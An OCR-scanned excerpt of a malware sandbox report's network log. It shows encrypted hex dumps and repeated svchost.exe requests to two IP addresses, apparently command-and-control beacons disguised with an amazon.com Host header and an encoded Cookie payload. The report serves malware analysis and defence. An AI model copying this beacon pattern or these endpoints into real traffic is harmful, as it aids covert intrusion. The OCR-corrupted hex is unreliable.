26 cc b6 3f cb 79 2c €0 ee c0 d1 a0 35 8 18 48 b4 €8 8¢ 23 f5 21 a6 99 3a 8a b6 67 fe 42 41 01 68 51 06 97 94 39 ab cf
19 98 5a 65 4d 4f 53 f7 f6 16 a9 b1 8d b9 3a 11 f5 a8
Data Ascii: c8@S FT%=%/ZK IN@:Q9iW(CSf.J}jh$j-OnDLEF,Ed6@!)Ky"ihCm03Q cQJIA{7Thd"|p3Xnr%Nk,&?y,5H#!:g
BAhQ9ZeMOS:

2021-09-28 07:53:39 UTC 841 IN Data Raw: 62 66 96 af 57 55 57 5a 58 1f 27 ¢9 75 f6 13 cc 98 4c €9 72 4e 68 c1 1f 9e 47 €5 34 78 d9 62 a7 78 d9 47 e2
1d e8 b9 7b 24 30 73 €9 88 ab f4 8 e4 32 3 02 3b 62 5a cc ff 0a 94 cc 22 32 f2 7b 6b 47 ¢8 b2 82 3d f8 ¢6 80 55 05 13 43
32 d6 ad b7 d4 98 fb c2 59 a8 90 f0 35 80 ca 0d 21 fO 4c 67 91 48 18 29 0d 79 f2 2d a4 16 23 d6 f9 69 d8 06 3f b7 be c2 aa
a9 d7 Oc Ob 35 b1 8a b0 a0 le 48 d2 fc 42 82 68 a7 59 f8 aa 7f 55 26 85 a4 5f b3 ¢3 42 86 8e 0d e7 76 f9 31 98 c5 51 da
4a1c 34 74 el e9 18 ef 9c 2e ec ca f9 98 6d 95 37 35 26 55 58 eb 12 26 08 90 d2 5c ed 77 fe bb b5 b8 71 f4 86 87 22 9e
bb 12 69 7b 1b 75 81 32 46 Oc 53 7d 76 d9 00 41 2a 16 3e e4 e7 01 50 b5 df 68 2d fc 51 7f b5 a7 64 e0 4e 8c 44 ec f8 65
3e a3 8a 1c 85 6a 64 1d 21 a3 e0 45 8d cf 99 5a be
Data Ascii: bfWUWZX'ULINhG4xbxG{$0s2;bZ"2{kG=UC2Y5!LgH)y-#i?5HBhYU&_Bv1QJ4t.m75&UX&wWq"i{u2FS}VA*>Ph-
QdNDe>jd!EZ

2021-09-28 07:53:39 UTC 845 IN Data Raw: ea 77 73 cf el b4 7a 79 cb a3 9d 75 2f 87 f5 cb 42 3d cb 6c a5 bf 96 a4 dc 65 36 bd a5 ae f0 b4 f5 8b f6 9d 34
b7 2c 3e 5¢ a5 a6 3d 7e d6 85 16 99 02 38 99 a9 1e b3 b8 81 cd af 91 4a 2b 2f 9e 84 b5 c9 42 f6 ee 07 f1 1e Ob 44 70 d5
40 d7 e2 fa d1 e6 00 b5 13 74 ee 1c 3b dc b9 36 79 78 7b f6 f7 93 0d 28 55 2c 81 ce c7 20 a7 7e e0 01 53 6e 7f 59 78 b2
9e 7a ce 44 06 al 8f 6b dd 52 c6 b1 ac 68 87 1c 98 €9 a8 96 97 89 cf 7b 69 2b 1c a6 84 6b 4c 25 ee 30 a6 be 9b 55 Ob d1
78 dc a9 ab 3c 38 cf cf c0 f2 1c 6¢ 74 01 b4 ac 78 f6 66 9a f8 24 45 02 08 47 52 6e df 73 95 70 a5 af df 03 9f e7 22 0f Oc 4d
d0 9c 10 f9 9c 8f 8e 07 de 02 3f 22 1b cd f4 17 ea ab fb 8a 58 a3 31 1c 7a 8b 50 80 17 d7 b5 d5 7f 5¢ 9a 02 43 b2 1f Oc 23
a9 ¢8 9d b3 8e 4b 54 de a7 7f 3f ac 1f 4b dd
Data Ascii: wszyu/B=le64,>\=~8J+/BDp@t;6yx{(U, ~SnYxzDKkRh{i+kL%0Ux<8ItxfSEGRnsp"M?"X1zP\C#KT?K

2021-09-28 07:53:39 UTC 849 IN Data Raw: 39 8d fa 51 ec a2 0f 8a 4b 4a 3e 6d 65 e2 d6 ac 7e el be 8c 85 d0 e3 24 76 16 dd a8 08 ce 72 db b8 6f 6e 3a
b5 15 4b 1d 55 23 f9 97 7f 58 7e 63 bf 3c 56 52 17 9d 95 70 02 dd 05 25 9d 17 b0 02 19 86 75 16 a7 22 37 b5 81 60 91 42
Oc 01 84 9f b0 41 b0 82 ee cd 3b e6 7f cc 74 be 90 55 3b df 36 42 5a 6a 9c 4d be ac d9 7b 0f c1 85 76 06 4a c7 fc 9c 28
135a55 08 bc 75 a9 9b 5¢ db 74 b7 97 d4 e2 b5 7c ¢6 d9 51 e4 5e 59 61 72 f2 5b 70 aa bd 75 a5 2f 3e da 82 4a 14 ee 13
04 ea b9 b6 bf de e9 d6 d9 Of db a6 2e 44 8c cb 5f 42 4d f0 60 84 a2 0d e4 2f 8f ce 81 5a 1d 44 7a b3 b6 7c 4a eb 12 92
14 fe 21 aaed cd 05 e2 a8 5b 76 c5 e0 54 15 9a 5d c5 3 25 24 98 a8 02 3f 69 52 05 64 73 Oc f4 ad f3 7b c7 1a 40 18 €5
35 6e c4 5 61 fO ec a2 06 bc a0 87 c0 23 32 3c d2 53 00
Data Ascii: 9QKJ>me~$vron:KU#X~c<VRp%u"7 BA;tU;6BZjM{vI(ZUu\t|Q"Yar[pu/>J.D_BM'/ZDz|J![vT]%$?iRds{@5
na#2<S

2021-09-28 07:53:39 UTC 853 IN Data Raw: bb fb bc eb b0 42 95 9¢ 25 73 86 68 3b €2 62 20 fe 3a 37 5 48 f0 d4 2b a2 Ob 78 27 54 9a 89 ac 52 3d 03 98 33
7e e3 f2 a8 85 26 d6 6b 5f 11 da 84 9a 91 c6 6b a6 30 5a c4 cd 97 7a bc 92 f4 a3 f3 fa de 2c c1 fb af 34 71 17 e2 a5 37 ab
01 1d ab 45 76 f4 91 8f 73 fb 81 d6 a5 a4 Oa 6d c2 ea la 2a bc f7 2e 4a 44 59 13 6d 47 ec a5 2c c5 30 a5 b6 ed ae 2c 91
7a 84 49 3c cd da 80 6d 52 b2 2d 83 82 bc 91 d8 f3 60 74 1c 15 49 88 b1 98 87 09 2c db 15 00 f1 06 91 62 {7 6b a6 83 44
8e 7a 27 78 d3 5b f9 ed 8¢ 68 Oa 5f Of 71 13 55 14 64 b0 4e e7 2f a3 13 b9 aa c3 a8 95 a2 ef a7 f8 32 3a 3a b4 54 b7 20
ce 33 fc 53 c2 24 83 38 3e 87 Ob 8d 13 47 5f 24 e0 1b 30 ¢7 14 15 d9 8a fc f9 41 27 f4 b8 9f 75 ea 65 26 €9 Oe 23 97 16
56 4a b2 6¢ b4 c3 80 2e 2f ae Oe 10 e4 27 60 a2 8d
Data Ascii: B%sh;b :7H+x'TR=3~&k_k0Zz,4q7Evsm*.JDYmG,0,zI<mR-"tl,bkDz'x[h_qUdN/2::T 3S$8>G_$0A'ue&#VJl./"

2021-09-28 07:53:40 UTC 857 IN Data Raw: 55 63 8 55 5d ¢6 2a 14 1b 5c ea 81 97 71 dc 42 11 04 f2 89 37 cf 8¢ 94 c6 ba be 16 41 5b ad c3 a7 66 21 ed
ef 04 ab b4 4b da 0d f1 7b 99 86 a0 49 c6 fe 00 21 8b 09 d1 cf d7 e4 5f ff 3a ab fO bf 66 b7 13 e2 b0 5a 94 05 83 65 f8 91
1076 74 7b 1d 47 3c b5 9f 32 39 02 83 ab Oc a9 51 87 29 a7 ed d5 02 b4 aa c8 4e 01 75 ba 34 51 61 ea c5 6d c7 08 f2 47
d9 c9 e6 14 42 c0 44 b5 a2 bd 0a 22 5d 59 58 bf 24 a9 94 87 af 56 b7 3f 79 4b 52 39 fe dc 4e 29 e0 27 53 54 ae 7d ec 37
7b b4 9c 6f Oc Oa fe 98 f2 b2 al 9c da 91 a9 df 58 6a ab 47 72 98 cd 21 e5 5a a9 b2 00 fd ff 08 03 10 a6 06 cb a8 4e 4d al
85 84 ca 35 70 55 42 b3 2c cb 40 01 38 28 07 6a b3 31 2b 7e 4a be 2a 61 00 e7 be 91 d2 31 90 9a 4b 9f f1 34 6d ce fd 12
bc c8 a7 ee b9 42 fa 91 29 47 35 ac cb 22 31 59 7¢
Data Ascii: UcUI*\qB7A[fIK{I!_:fZevt{G<29Q)Nu4QamGBD"YX$V?yKRIN)'ST}7{oXjGr'ZNM5pUB, @8(j1+~J*alk4mB
)G5"1Y|
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kBytes

Timestamp transferred Direction
2021-09-28 07:53:40 UTC 861 IN
2021-09-28 07:53:40 UTC 865 IN
2021-09-28 07:53:40 UTC 869 IN
2021-09-28 07:53:40 UTC 873 IN
2021-09-28 07:53:40 UTC 877 IN
2021-09-28 07:53:40 UTC 881 IN
2021-09-28 07:53:40 UTC 885 IN
Session ID Source IP Source Port
60 192.168.2.3 50001
kBytes
Timestamp transferred Direction
2021-09-28 07:54:15 UTC 1022 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: Oe bb 1c 26 5a 81 b7 99 f9 69 af f9 ef c3 d2 94 4c 03 54 ac 36 79 96 5f a4 d4 15 d8 34 57 98 53 c5 bd 7a 06 e2
99 41 ec cc 77 52 ab 07 04 03 e5 fa 33 89 83 99 ad 94 d6 32 84 66 Ob ac eb 88 38 1le d3 d0 71 ef Ob 40 02 96 8b 74 70 35
d3 f1 74 €9 46 e6 Ob 3f 27 b5 05 c8 bf 8e e4 d5 ea 90 07 82 dd 9a 81 1b 2a de 6d fc 37 27 bb 1e 70 46 7f b8 d5 d3 69 24
a2 47 2d 88 e6 de c7 da f5 38 f5 47 68 6¢ 03 f7 79 a7 9d cd 47 34 d0 a8 77 b0 f9 9b 8f 61 d1 64 77 8 af 7a 07 43 26 e2 cc
b3 ad ab 6d 66 c8 d8 9d 81 c7 74 c9 9e a5 70 f4 f1 6d dd 67 de e8 4e 27 24 f5 d1 8b e6 37 13 81 06 23 e5 3c be e0 a0 98
58 c6 aa 3f 3b a8 42 20 af 32 el Oc 75 89 fa 89 74 53 b3 de 2a 90 a3 77 4c 9c a9 d9 aa 5b db a8 fc 99 1a 9a d5 8d ea e3
91 66 93 ¢7 08 2d f1 c5 56 73 aa b9 07 06 d2 67 ba

Data Ascii: &ZiLT6y_4WSzAwWR32f8q@tp5tF?"*m7'pFi$G-8GhlyG4wadwzC&mfitpmgN'$7#<X?;B 2utS*wL[f-Vsg

Data Raw: bb 1c fc 5e ac 19 36 86 04 47 78 26 Ob a8 cc 4a 04 fe 5b 4c 1e c8 ef 7a 9c Ob 04 9f fe 1a 8c cd 08 99 c3 60 c2
9d c3 af 30 48 9a e2 e4 f8 2b 96 24 c8 5b 5e 9c a4 37 5f 76 b4 c8 ba bb 6e 81 af 2d 6¢ 4f 0d 6¢ a4 e8 b6 96 5¢ 3f 7f 0d 11
3d 28 9b fO f6 ca fe al 61 56 35 18 1e 64 17 27 51 1d db aa 34 97 ed 6d 70 bd f2 55 c5 {7 34 b0 9d 7a f1 ef d8 ec de e9 6d
80 b7 58 b9 36 79 55 ee d8 05 0f 15 16 a0 b2 23 f0 05 ad 53 e7 c8 3e 5a d8 d9 d3 34 ee b1l f2 d8 c0 90 93 fe 75 4b 27 c6
7c 43 a6 dc df a4 98 1e 90 24 01 09 3f 1c 49 ab 74 00 82 a2 4d 18 6f fc 2a 9a 30 64 cb 35 12 e6 3f 50 6a 28 c3 80 3e 59
e1 30 c7 laab Oe 9b a2 77 07 6e 34 35 36 fc 09 41 d7 6b b2 8c 82 b4 2f 72 38 2d 49 48 64 61 00 85 45 fb 75 fa 25 e4 d1
f4 1c 11 95 0a 45 3e c7 96 22 27 c1 6d a7 ba b6

Data Ascii: *6Gx&J[Lz 0H+$["7_vn-ION\?=(aV5d'Q4mpU4zmX6yU#S>Z4uK'|C$?ItMo*0d5?Pj(>Y0wn456 Ak/r8-IHdaE
U%E>"m

Data Raw: b0 ed 21 57 2a 01 6¢ 34 c0 f3 99 c2 c8 62 98 6b 21 bb 6f bd 75 f8 7f 1c 4c Ob 30 d1 60 28 94 ca c4 24 73 2b a3
65 26 25 6d a5 b4 60 e7 8b ed 47 03 e8 a8 2 ec 89 0d 5f 33 96 Ob 6¢ 63 45 78 19 d0 02 39 41 5e ac f9 e6 Oe fd 56 99 Oa
54 ec cf 29 a0 12 6b 18 ce 13 8a 8a 55 el 8f 33 36 d2 c4 2f 51 56 66 78 99 3f 4d c1 b4 51 f1 a8 47 2e 4f c6 2a a2 d8 f8 fa
21 ce d0 b4 2b 23 2a 7c e7 fa 8b 89 bl c3 e5 d6 ed 83 a4 82 59 fd {7 64 61 c4 91 87 58 39 38 14 d9 76 92 88 c5 96 18 34
5e 5b fa 11 7f fb 2c b6 Oc b2 05 d2 58 d5 46 8f 6a f2 08 b6 4a b3 4d 39 48 46 25 55 31 50 0f 99 77 46 19 b9 b8 f9 89 61 27
5f de 5b 2d e0 97 18 da 90 07 2b 5¢ d5 df 75 2e 3a 61 17 62 31 12 63 70 f8 bb f6 ad 32 93 bd 33 00 d8 81 ac 9d 7f 24 01
c2alab55625a662121c 9286 73 e4 ab cc 2¢c

Data Ascii: IW*4bklouL0"($s+e&%m’G_3IcEX9ANT)KU36/QVIX?MQG.O*+#+*|Y daX98v4~[ XFjIMIHF%ULPWFa'_[-+\
u.:ablcp23$V%bs,

Data Raw: fb 61 4c bd e2 e4 9c bf 06 6b fb 3b 4a a5 54 7d 2c e9 2b 6a 58 7d ef 2e eb €6 77 1b 6b 63 07 3e d0 08 37 a4
8a 88 0d 5e 94 71 34 fe 54 91 67 53 fc 4c 70 60 f1 54 48 43 db 67 10 Ob ae be bl 1d 02 b7 a9 ab a0 4a a4 de 4a bf be 8b
cd 2b b1 e0 1b 66 83 19 49 3b d5 fO al 06 Oe 64 Ob 6f 6f b0 90 df 6e 44 37 b4 0a 97 cf c5 f9 €9 08 80 cf b1 04 80 c9 ff ee
2094 64 7b bc ee 96 dO f9 cc 29 d3 98 17 5a a5 b9 6d 45 d9 45 9c 41 80 5f de 0f 33 4a f4 d4 a8 d1 9d 31 9d a6 fc e2 79
91 ad 13 27 15 f6 7d 03 ff 6d cc b2 a0 16 55 b1 16 ea c4 a6 77 cf 35 82 48 b1 2d a9 c2 df 8e bl ¢3 29 55 ed db 32 09 7d
e5 a2 88 8f 64 3a 49 b5 8c 5b f0 23 f7 5d c1 6¢ ed 58 08 €0 Oe ed 30 8d 8d 7a ef bc 7e f8 ce 29 18 70 e4 de 3c 70 a2 86
a3 0a 9a de d7 ec fd 1b 81 9e f6 45 46 69 71 f0 51 37

Data Ascii: aLk;JT},+jX}.wke>77q4TgSLp THCgJJ+fl;doonD7 d{)ZmEEA_3J1y'tmUw5H-)U2}d:I[#]IX0z~)p<pEFiqQ7

Data Raw: bd 67 33 bb fb d4 66 52 39 58 47 a2 91 9b 71 b7 a2 60 de 4a 7f d8 c6 c0 4f 50 d7 2d 7b c5 d1 15 29 af b4 ba
1d 6¢ e8 84 e0 f7 1d 4b 8a 77 c9 6¢ bf 50 67 d2 00 72 33 fO 82 4f 5b 12 31 2f 2f 8e 0a 7b f2 8f al 53 80 a2 ae 5a e4 e3 82
b2 50 54 f4 c3 5¢ 36 00 8a 9b a7 fO f2 bd 3f 64 46 8f 18 82 35 16 d4 bd ee 26 4d 13 a9 bd 68 9a b5 3e 20 bc 0a c7 07 34
d8 32 ae ef 5e f8 93 75 b9 e6 b9 80 fa ac el c2 ca ef 93 8f e6 2c db 08 79 ef 6¢ c4 c¢6 0b 87 97 37 ef dc d5 52 b7 a2 b5 be
55 5e a9 89 85 38 1c e3 21 fa a3 f2 23 2c ee 7d 4a aa 3f 11 df 8e c0 22 ef a4 a6 37 3d Oe 70 39 cb 4d e4 7c cc d4 d9 7b
22 7b 41 5a 80 03 92 bb 83 2a 7c 3ff8 91 8b ¢3 73 7a 08 9¢ f0 7c fb 27 ed 82 ca f3 b2 60 bb 4b db f4 db ee be 7c 5b a5 c6
28 e3 ec 1a 0505 87 c4 86 7b 6a dc 94 24 17 7f

Data Ascii: g3fROXGq JOP-{)IKwiPgr30O[1/{SZPT\62dF5&Mh> 42/u,yI7RU8!#,}3?"7=pOMI{"{AZ*|?sz|"K|[({j$

Data Raw: f6 4b 5b Oe 47 51 eb el b9 ef 2e 89 1f 14 a9 02 2c 15 be 03 db 03 f6 52 ad aa 2a bb 99 4c a2 ad 80 35 a0 32
65 7a 0b d8 ba 6¢ ad c6 fc bb b7 2a b0 1c 5e d1 3b 9e 7a el c1 90 63 ad f8 e8 67 d1 a2 e7 76 6e d1 fc a9 a9 c3 cd 53 29
dc ¢9 90 07 de 24 20 ae 86 b5 25 31 5e ¢3 72 18 46 a0 21 da 1b e0 69 9c a3 a5 ac cd 60 74 al 12 76 8f c3 96 c7 34 d8 1d
06 1a 27 c4 63 aa 78 bl 5a f9 df 07 b7 7d 19 5e f0 fd cO ba 21 59 b1 6¢ 15 8a ad 08 8¢ 08 ad 1c 27 91 7d 68 be 84 2c b7
62 6e b6 a0 ea 07 4a f6 3d 84 1c 78 bc 40 Ob c8 10 f2 7c 54 28 ¢4 70 11 f5 87 5e 1c c7 74 25 88 ee fc 91 c9 44 75 46 0f f1
5d 8d 1d 50 a5 82 3d 66 ee 3b f5 48 9f 50 6a a7 1c 2b bb e9 ce bd b8 53 1d 40 c8 74 ef 4d cd 07 a5 21 45 62 b8 c4 c2 8¢
ad df 84 85 Oe €9 42 8b 96 bf 60 fd 4 ff e9 b3 f9 37

Data Ascii: K[GQ.,R*L52ezI*";zcgvnS)$ %1 rF!i"tv4'exZIMYI'th,bnd=x@ | T(p"t%DuF]P=f;HPj+S@tM!EbB"7

Data Raw: 5a 7b 70 dd 1c 85 25 80 83 d3 3b 6f 89 9f 6e a4 cb 99 59 1a e8 45 cc 14 a2 b9 41 43 e4 7e 87 12 45 c9 8e ac
8b 42 9b 04 9b 3f 8a ea b5 b3 f0 b8 61 13 15 67 58 f5 57 a7 57 7c 16 56 62 a7 85 07 e5 3¢ 5b 05 69 59 78 79 78 02 8d cc
facd e0 €9 58 1c b0 76 78 63 93 75 be ed a0 91 d7 17 72 07 f8 25 93 07 64 d3 4d 9b 62 57 3¢ 5b b6 b2 6d ac 8¢ 13 ab 27
36 61 d8 56 fe al ce 89 b6 47 43 e4 ¢5 79 b9 d2 03 b9 97 f5 8f Oa be bd cd 14 d4 0d 2e b2 4a 4e 8b ee d0 5¢ 58 17 c9 33
de a9 d2 d8 6¢ 93 4d 33 89 68 da 66 c3 da 31 39 ec 06 bd 85 b8 f4 7c ce 6d f3 8c 09 34 84 4b 7c 33 4c a6 83 d9 61 91 d7
0f 72 aa Oa 73 5e 8f a3 ec 28 cd 4a de f1 d2 df e0 30 15 80 50 7b d6 d7 3c 45 9e fb 7 6f 52 01 32 dO 16 €8 ff cd e7 2f d1
01 eb ce 44 63 d8 67 5b 32 6e be 72 ¢5 b7 8¢ 3f 61 f6

Data Ascii: Z{p%;onYEAC~EB?agXWW|Vb<[iYxyxXvxcur%dMbW<[m'6aVGCy.JN\X3IM3hf19|m4K|3Lars(JOP{<EoR2/Dc
g[2nr?a

Destination IP Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /kbnm45xk0M7qgatqqix35gkJicweigo/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:16 UTC 1022

2021-09-28 07:54:16 UTC 1023

Session ID Source IP

61 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:16 UTC 1023

2021-09-28 07:54:16 UTC 1024

2021-09-28 07:54:16 UTC 1024

Session ID Source IP

62 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:17 UTC 1025

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50004

Direction

ouT

Source Port
50005

Direction
ouT

Data

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:15 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: QIC54QFPRJIR66TR25901

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /K2pS9bLvkjoWxUjivvagkm8k5llv8r7c7wfNfdo6ofbo7/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:16 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: 5SRIF2GRQBX0VKHMNZWOF

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2¢ 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 €5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d 9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa bl 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3¢ dd ab 5e ee 1a eb
05 8 3¢ dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=K'(.WIin"u=Padn{]1+: Ch[ **kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /m8rM2d4vj3j9x4Qx74uimsfakxiqfvWzalr3GN31/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:54:17 UTC 1025 IN HTTP/1.1 404 Not Found
Connection: close
Content-Length: 897
server: Server
date: Tue, 28 Sep 2021 07:54:17 GMT
content-type: text/html
permissions-policy: interest-cohort=()
x-amz-rid: BBCAWN7NPCXS66H61XHM
x-sdch-encode: 0
last-modified: Tue, 10 Aug 2021 22:12:21 GMT
etag: "687-5c93bcbae3b40-gzip"
accept-ranges: bytes
content-encoding: gzip
vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent
strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

2021-09-28 07:54:17 UTC 1026 IN Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd
Data Ascii: UJo6+,Yt=I{"(.W]}n"u=Padn{]1+:"Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=| X$2[HbsLed=R<"<G*vOhu

Session ID Source IP Source Port Destination IP Destination Port Process

63 192.168.2.3 50007 161.35.29.127 443 C:\Windows\System32\svchost.exe
kBytes

Timestamp transferred Direction Data

2021-09-28 07:54:17 UTC 1027 ouT GET /feed/news/last HTTP/1.1

Cookie: HSID=2ftnptGPipCTaqytrp4bfz9E7Li8rjpsppKWaxPzpvpz%2F%2F8Tw4%2FhiN3YLSUOAbM]70TL%2BG
BY5nUjwLX88tParAlyOjXI5Cgx37TmyrdLYXtsWWXx9Q08j20VWF5%2B6Vmp5MF%2BIBG8%2FnBJeitFXXb7vZfTzt
2s0dZnayKnWsUAaUaEbkvA%2FdcVDOIC7Crx6NLtIIvwvroU4udhUT3GhcPM470E%2BmsabCiDgNroONDNDBGafcJzB
R79UEOQdyal91h7Q9%2BDa0q8ta5Wu84ShXb7X5Ak4rH6hZ2su98Dy9Cuue0chsZq6xj8kKMIKSYdSr2%2FfN6Xb3f
T9%2BdBSiVhOjRVGYyUA%3D%3D;SIDCC=BPOt7H5cKsiVOOP2k6zXNI29edgmbEVtkhGZjZSRh3WqfKF%2FtIBEFbIf
TB670LjeBIrbZXKWSgPQIiOsK7fadufQ75P8DLeyAsNLRMZn4PLf4AHPXWDrUSJbRsk5zM8D2j5NOp98cXbA5kz5DunE
MxH%2FaoyA%2FLZMw%2FgavWHA4dnF%2Bt6SkiczMIg7H43LHCFpMjnKzyNAI6OT94i%2BNfC2EqORQX
F6QQ8zbdmYGdxICLalLiUoaGXVevgKEKTucB9dtBiWZlelaOov6obO2k2yhlOKz1ky TVXRext7Fg4hRF70kuGOwizb0
2b07r4a%2F3g12Vj0bvrfkQ8WIJJEPSbseJG6A%3D%3D;SID=YHU0oK11ZhgYLhptlzpRF4jzhrpkWeMHZCk%2F5IRW
bIPR67MKj|frgHk0SO9mM10h9%2BYyj34J%2B803t9WCWILXpVuAxeilJpdaYCqBoY Yrauzv6DAb3%2FiqdOI518jk5%2
FANedgWWrppfcRpBMP0o0O83H%2BdERP]NMFW16wCiXPOUgM7uMxswGHUM%2BQx9PUODeORPxOdVexOt9S
kimu3rx4P4QnFCwOy2mUPzv9S39ksHtpcBOGA%2BAs%2BcUOwWrybjGirogthMO0J3VIC4AMFXC13V04ax|%2B7vug3C
HhWZI3cOtrduK5kW2id12Wt4J2x1x99Rb2AH00Mharn5e AdKxKFgpiyucihxA%3D%3D;SSID=B8W1lye56 Rp2G7tBd
0%2FJOqcoYp8mxb558PfNcPtI1WDragcZMvVUG%2FgsRP4QJInKL66d5Dgaso6X2dfxv3ohsPUjSZbfODgBp4KC5GFO
VKgNC8]MHZKWVM4%2BFCcDXYORL76Svh9B32AuSNaUgaad2%2B7rn15bkjbVc%2FSURa36hg5LQhm6Ny
Y%2FINQf5wxkAEgpgTCBEdvHagEViIRDC5fTntIBBXPEONPSX1bXv4hOBgOOTAHgi23JIKiHbURRILYJ%2FKz4AJ040
3tyjCUSEyd5dZsGyR%2FJR%2F5Kx9Vomu53EY QIG G%2FwmrKQLu52hjyXRRAdXH3KUSQnbLE6DNhF%2By
%2BITeBiA%3D%3D;

